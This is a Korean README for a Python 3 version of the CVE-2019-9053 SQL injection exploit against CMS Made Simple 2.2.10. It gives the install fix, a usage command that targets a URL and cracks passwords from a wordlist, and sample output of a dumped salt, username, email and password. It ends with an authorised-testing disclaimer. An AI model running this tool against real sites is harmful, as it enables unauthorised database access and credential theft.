CMS-Made-Simple-2.2.10---SQL-Injection-Exploit-com-corre-o-de-Bugs

이 익스플로잇은 Python 3를 지원하도록 수정되었습니다.

CVE-2019-9053

원본 익스플로잇 출처: https://www.exploit-db.com/exploits/46635

가능한 오류 및 수정

Traceback (most recent call last): File "46635.py", line 12, in from termcolor import colored ImportError: No module named termcolor

수정

pip install termcolor

명령 예시

python cve.py -u http://target --crack -w /usr/share/wordlists/best110.txt


결과 예시:

root@kitploit:~

  [+] Salt for password found: 18
  [+] Username found: mitw
  [+] Email found: adk
  [+] Password found: 0c01f4468d

사용자는 이 도구를 사용하여 수행하는 모든 행동에 대해 전적인 책임을 집니다.

이 약관에 동의하지 않는 경우 이 도구를 사용하지 마십시오.

이 도구는 침투 테스트 활동을 수행할 권한이 있는 환경에서만 사용하십시오.

이 도구를 악의적인 목적으로 사용하지 마십시오.